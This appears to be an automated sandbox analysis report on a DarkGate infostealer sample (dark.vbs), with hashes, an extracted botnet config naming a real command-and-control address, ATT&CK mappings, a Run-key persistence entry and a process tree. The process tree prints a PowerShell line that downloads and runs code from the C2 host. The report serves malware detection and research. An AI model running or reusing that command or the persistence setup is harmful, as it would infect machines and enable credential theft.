darkgate | ad806df85dfb29cca1f3a2c99ed069c30cd870bae9d47f2de4c7ce727b9622ec

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
03/03/2024, 12:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dark.vbs
Size 5KB
Sample240303-p2q5fabb93
SHA256 ad806df85dfb29cca1f3a2c99ed069c30cd870bae9d47f2de4c7ce727b9622ec
MD5 3b2e1c5604f68a43495f3829c31f12e3
SHA1 ddc0158fa56458c9235598fdbf2ff49d87c93bb1
SHA512 853b8afbffbbf8a24639f27fd2ddd5b5713e85f7ddcd8a020a050ba40fcf391cf29aa047cfc335b69b5828b740f145b6b27b1149f07234817b991545b3ab38f6
SSDEEP 96:DaUEmyDTEBzylU+/V9rkcQ3tZUHg4KRZZoPC8Wuo9d3uV0m:DaU0TEBzj+/V9g/tZUHg4KR/oa8Wuo9I
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate pruebasvbs persistence stealer

Malware Config

Extracted

Family

darkgate

Botnet

pruebasvbs

149.56.252.31

Attributes

anti_analysis
false
anti_debug
false
anti_vm
false
c2_port
8094
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
mwsMGaLY
minimum_disk
100
minimum_ram
4096
ping_interval
6
rootkit
false
startup_persistence
true
username
pruebasvbs

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 11 IoCs

resource	yara_rule
behavioral2/memory/1636-36-0x00000000065B0000-0x00000000068FF000-memory.dmp	family_darkgate_v6
behavioral2/memory/3156-46-0x0000000002920000-0x00000000030C2000-memory.dmp	family_darkgate_v6
behavioral2/memory/1636-47-0x00000000065B0000-0x00000000068FF000-memory.dmp	family_darkgate_v6
behavioral2/memory/3156-51-0x0000000002920000-0x00000000030C2000-memory.dmp	family_darkgate_v6
behavioral2/memory/3828-56-0x0000000002920000-0x00000000030C2000-memory.dmp	family_darkgate_v6
behavioral2/memory/3156-57-0x0000000002920000-0x00000000030C2000-memory.dmp	family_darkgate_v6
behavioral2/memory/3156-58-0x0000000002920000-0x00000000030C2000-memory.dmp	family_darkgate_v6
behavioral2/memory/3156-59-0x0000000002920000-0x00000000030C2000-memory.dmp	family_darkgate_v6
behavioral2/memory/3828-62-0x0000000002920000-0x00000000030C2000-memory.dmp	family_darkgate_v6
behavioral2/memory/3156-63-0x0000000002920000-0x00000000030C2000-memory.dmp	family_darkgate_v6
behavioral2/memory/3828-64-0x0000000002920000-0x00000000030C2000-memory.dmp	family_darkgate_v6

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 1636 created 3816	1636	AutoIt3.exe	59
PID 1636 created 3004	1636	AutoIt3.exe	53
PID 3156 created 2856	3156	GoogleUpdateCore.exe	52

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	4616	powershell.exe
7	4616	powershell.exe
25	4616	powershell.exe
32	4616	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
1636	AutoIt3.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FdbaEcH = "C:\\ProgramData\\aefbadb\\Autoit3.exe C:\\ProgramData\\aefbadb\\hhabfdd.a3x"	GoogleUpdateCore.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GoogleUpdateCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	GoogleUpdateCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GoogleUpdateCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	GoogleUpdateCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
4616	powershell.exe
4616	powershell.exe
4616	powershell.exe
1636	AutoIt3.exe
1636	AutoIt3.exe
1636	AutoIt3.exe
1636	AutoIt3.exe
1636	AutoIt3.exe
1636	AutoIt3.exe
3156	GoogleUpdateCore.exe
3156	GoogleUpdateCore.exe
3156	GoogleUpdateCore.exe
3156	GoogleUpdateCore.exe
3828	GoogleUpdateCore.exe
3828	GoogleUpdateCore.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3156	GoogleUpdateCore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4616	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3984 wrote to memory of 4616	3984	WScript.exe	87
PID 3984 wrote to memory of 4616	3984	WScript.exe	87
PID 4616 wrote to memory of 1636	4616	powershell.exe	93
PID 4616 wrote to memory of 1636	4616	powershell.exe	93
PID 4616 wrote to memory of 1636	4616	powershell.exe	93
PID 1636 wrote to memory of 3156	1636	AutoIt3.exe	95
PID 1636 wrote to memory of 3156	1636	AutoIt3.exe	95
PID 1636 wrote to memory of 3156	1636	AutoIt3.exe	95
PID 1636 wrote to memory of 3156	1636	AutoIt3.exe	95
PID 3156 wrote to memory of 3828	3156	GoogleUpdateCore.exe	96
PID 3156 wrote to memory of 3828	3156	GoogleUpdateCore.exe	96
PID 3156 wrote to memory of 3828	3156	GoogleUpdateCore.exe	96
PID 3156 wrote to memory of 3828	3156	GoogleUpdateCore.exe	96

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2856
- C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe
  "C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe"
  2⤵
  - Adds Run key to start application
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:3828

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3004
- C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe
  "C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of WriteProcessMemory
  PID:3156

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:3816

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dark.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '149.56.252.31:8094/mgmmrccw')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\temp\AutoIt3.exe
    "C:\temp\AutoIt3.exe" script.a3x
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hecceeh

Path C:\ProgramData\aefbadb\hecceeh
Size 1KB
SHA256 a5aba4a25366ccd8996e4c31026a4ac993d9c76ddae5103e652d3e75d6b99039
MD5 33df8b13f91ecc133990d933a8a0ef61
SHA1 1e6ebd362d4e28ddb9d5df2b6e6fa05b2de9c522
SHA512 67c8b30b2cce25da7776dc78b9fc13f65176f7c813bf40c9fca0d97a58e75fe1030c52c264c0fc632edc5bbcd63ef5331e46076ca57d15fe541f0bca2ec67f8a
MD5 SHA1 SHA512

Submit Download

hhabfdd.a3x

Path C:\ProgramData\aefbadb\hhabfdd.a3x
Size 472KB
SHA256 c81d73ec0f4d707a19e1cd55e2bf75a9c97b013ca7f0ba8ef09783df073311d1
MD5 3c7921b2fb23121182e5a8c75358468c
SHA1 56e0f9b33b72a288e8cd586fe51b7c410e480bac
SHA512 16b55e582cae9221b87a64cada92f75b9ce834476b9493a4e9a85be0c0b6329c4e04b34f12c6e4631007e361a54594a2f9f46928399e51568843894ebbd3ba19
SSDEEP 6144:sfwEqFvyM4ZWAA+CnTGPdqRlyJ1jHOwpEz7k3jjNbxpxKYLzLs4vTYx2pSiIdI/b:Pf9FRlyJxuwq3kTjNbxpxTYzix70NI
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_meyud4yt.dj0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_meyud4yt.dj0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

FdbaEcH

Path C:\Users\Admin\AppData\Roaming\FdbaEcH
Size 32B
SHA256 d26d237d267139e9223a33769fedf739c7e7e1411d370f652da9bc0be66fc2a0
MD5 f36eee19a9ab64c2033c0f6eee8a1f9b
SHA1 378cbddd6981da8fad2b1a9c4a00a79c59f44d8b
SHA512 f89092e5124f9e823c3b6128628c83c964da0c51a5c251dcd43a2a45ff8947eb8464520c5381c8f367db9573363bef3d62839317ca21c7944e7c5dbe5087ccb7
MD5 SHA1 SHA512

Submit Download

AutoIt3.exe

Path C:\temp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

Submit Download

fchcefa

Path C:\temp\fchcefa
Size 4B
SHA256 a7241adb75aab51167e69b8a4a790fc735cfb638b24c874de3dcf979913f981e
MD5 50e153e47a2520e21e7476131426723c
SHA1 93ebf7997031cdf52ecd42a943068becca55e7e6
SHA512 18a45caf82d3a8e9949a3e9fd3e205c201b4dcabfb2f74021b78150c3afe3a5183242d76746198ab9a0fe9545f14394ad3e326ed3bdabadb1956588698353b46
MD5 SHA1 SHA512

Submit Download

fchcefa

Path C:\temp\fchcefa
Size 4B
SHA256 6b67099c7d0ddc927da2d4f2ea92f9f059773c716223f6d06cd74a5dd653aa2f
MD5 e14835e60cc9b86ea35d8451d0c80aad
SHA1 70d6af9f80d390e1f42452ca8049621e5f33bd55
SHA512 e6f2357d6218206e03d30c1642898269b7e779cd144eb6a6c49b3982849626fa83151fbc61e59124da369fcb253f54a40f8f1602611aeee452f9f4a6368d2a6a
MD5 SHA1 SHA512

Submit Download

fgfbdef

Path C:\temp\fgfbdef
Size 4B
SHA256 c81ce880961b8efd7f3fd7da70638af1facb691c4ee9c1f87c6e4355e8823df7
MD5 e4aca1283661e4611695f79d3ea50733
SHA1 10d0878039a69a19200257444c0f8b4cf80bd877
SHA512 02666071b3a151e5b2f0b3930b5400c2857a91be5d85b77e7d21d3fcd78c8a02191fbf1d10f99e58d7863a7906bd812cd49488c5c62697ccddc9c7f88b09abf1
MD5 SHA1 SHA512

Submit Download

script.a3x

Path C:\temp\script.a3x
Size 467KB
SHA256 508251503639845117e170fe5ae1b0d7b8953e8336119a71d04e7bdce962d980
MD5 50862376b34880a80a32406444f4a8cb
SHA1 20997faf801af300f4524b5a785d1f246bb79f49
SHA512 c17fc05332ce333f3dcae3e6d0524386500953cb48e55996516913cdb9b415d4c940c59a8311efc31663ae4c6710f44b18ba63016cb9f100ffe8edf0985a0f7d
SSDEEP 6144:cfwEqFvyM4ZWAA+CnTGPdqRlyJ1jHOwpEz7k3jjNbxpxKYLzLs4vTYx2pSiIdI/b:/f9FRlyJxuwq3kTjNbxpxTYzix70NI
MD5 SHA1 SHA512 SSDEEP

Submit Download

test.txt

Path C:\temp\test.txt
Size 76B
SHA256 692f4ba2a4bce266d9228dd0a3e11a5cd2e4b201b5ce459eef64dcb9d043f73c
MD5 e12c09ed641531b7225b26ff6991a506
SHA1 697ec598b870b394d237b9bccf4eef18e1619ee5
SHA512 8370d91bc0dc6c0e924e45658f6e62ec04d3f2654133c6799ab0e7f839a52556db4e04615dadda9fc97a88b3a18916e4fb286efccc6713b9a4e8cd8700915b83
MD5 SHA1 SHA512

Submit Download

memory/1636-47-0x00000000065B0000-0x00000000068FF000-memory.dmp

Download

memory/1636-35-0x00000000050C0000-0x0000000006090000-memory.dmp

Download

memory/1636-36-0x00000000065B0000-0x00000000068FF000-memory.dmp

Download

memory/3156-63-0x0000000002920000-0x00000000030C2000-memory.dmp

Download

memory/3156-46-0x0000000002920000-0x00000000030C2000-memory.dmp

Download

memory/3156-59-0x0000000002920000-0x00000000030C2000-memory.dmp

Download

memory/3156-58-0x0000000002920000-0x00000000030C2000-memory.dmp

Download

memory/3156-51-0x0000000002920000-0x00000000030C2000-memory.dmp

Download

memory/3156-57-0x0000000002920000-0x00000000030C2000-memory.dmp

Download

memory/3828-56-0x0000000002920000-0x00000000030C2000-memory.dmp

Download

memory/3828-64-0x0000000002920000-0x00000000030C2000-memory.dmp

Download

memory/3828-62-0x0000000002920000-0x00000000030C2000-memory.dmp

Download

memory/4616-12-0x00000163726C0000-0x00000163726D0000-memory.dmp

Download

memory/4616-0-0x0000016373130000-0x0000016373152000-memory.dmp

Download

memory/4616-27-0x00000163726C0000-0x00000163726D0000-memory.dmp

Download

memory/4616-11-0x00000163726C0000-0x00000163726D0000-memory.dmp

Download

memory/4616-10-0x00007FFD2A400000-0x00007FFD2AEC1000-memory.dmp

Download

memory/4616-26-0x00000163726C0000-0x00000163726D0000-memory.dmp

Download

memory/4616-31-0x00007FFD2A400000-0x00007FFD2AEC1000-memory.dmp

Download

memory/4616-13-0x00000163737E0000-0x00000163739A2000-memory.dmp

Download